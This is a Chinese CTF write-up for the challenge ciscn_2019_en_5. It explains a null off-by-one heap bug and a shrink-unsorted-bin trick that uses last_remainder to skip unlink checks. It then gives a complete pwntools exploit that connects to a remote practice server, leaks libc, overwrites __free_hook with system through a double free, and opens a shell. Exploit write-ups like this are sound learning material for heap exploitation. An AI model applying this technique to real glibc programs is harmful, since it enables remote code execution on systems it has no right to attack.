0%

ciscn_2019_en_5(last_reminder在单纯的堆null off by one里的妙用+shrink unsorted bin)

首先,检查一下程序的保护机制

然后,我们在IDA里分析一下,在add函数里,存在一个null off by one漏洞。

在delete里,会先清空内容,再free

输入函数遇0截断,并且也存在null off by one。

从上述来分析,我们无法同时构造好prev_size和size,因为遇到0就截断了,并且,由于delete时清空了内容,因此也无法利用分步的方法来构造好prev_size。由此,可以使用shrink unsorted bin的方法。问题又来了,当我们shrink unsorted bin后,想要成功从unsorted bin里切割,需要将unsorted bin尾部多余的部位伪造成一个chunk,但是在这里没法实现,因为在free之前。内容已经清空。通过阅读glibc的源码,进一步加深了理解。Malloc的时候,首先尝试查找fastbin,不成功,则查找unsorted bin,如果这个unsorted bin和last_reminder一样,那么就直接从last_rminder里切割,并且切割的时候不会坚检查;否则,则将unsorted bin里的chunk放入对应的bin里面,然后从bin里面拿chunk切割,如果是在bin里面拿chunk切割的话,则会进行unlink,而unlink是会检查下一个chunk的。最后,如果从bin里切割成功,则剩余的部分放入unsorted bin,同时last_reminder也指向这个剩余部分,那么第二次切割时,就可以直接从last_reminder里切割。

综上,我们先构造出一块unsorted bin,然后从unsorted bin里切割一个堆,并且利用这个堆来进行shrink 剩余的部分,这样last_reminder被初始化,以后的切割就不会检查这个unsorted bin下一个chunk的头,直接从last_reminder里切割,由此绕过了unlink。

那么,就比较简单了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding:utf8
from pwn import *

#sh = process('./ciscn_2019_en_5')
sh = remote('node3.buuoj.cn',28082)
libc = ELF('./libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
sh.sendlineafter('name>','/bin/sh')

def add(size,content):
sh.sendlineafter('choice>','1')
sh.sendlineafter('length>',str(size - 0xF))
sh.sendlineafter('content>',content)

def show(index):
sh.sendlineafter('choice>','2')
sh.sendlineafter('index>',str(index))

def delete(index):
sh.sendlineafter('choice>','3')
sh.sendlineafter('index>',str(index))

add(0x110,'a'*0x10) #0
add(0x110,'b'*0x10) #1
add(0x110,'c'*0x10) #2
add(0x110,'d'*0x10) #3
#填满tcache bin
for i in range(4,11):
add(0x110,'d'*0x10)
for i in range(4,11):
delete(i)

#0、1、2合并为unsorted bin
delete(0)
delete(1)
delete(2)
#null off by one shrink unsorted bin,同时,last_reminder被初始化
#last_reminder被初始化后,下一次就从last_reminder切割,不会对next chunk进行合法检查
#因此就可以绕过不能伪造尾部chunk的限制了
add(0x28,'a'*0x10) #0

add(0x1F0,'a'*0x10) #1
add(0xF0,'b'*0x10) #2

#填满tcache bin
for i in range(4,11):
add(0x1F0,'d'*0x10)
for i in range(4,11):
delete(i)

#形成overlap chunk
delete(1)
delete(3)

add(0xF0,'a'*0x10) #1
add(0xF0,'a'*0x10) #3
show(2)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
system_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + free_hook_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'free_hook_addr=',hex(free_hook_addr)
add(0xF0,'b'*0x10) #4
#double free
delete(2)
delete(4)
add(0xF0,p64(free_hook_addr)) #1
add(0xF0,'a') #2
add(0xF0,p64(system_addr)) #3
#getshell
sh.sendlineafter('choice>','4')
sh.sendlineafter('remarks>','haivk')

sh.interactive()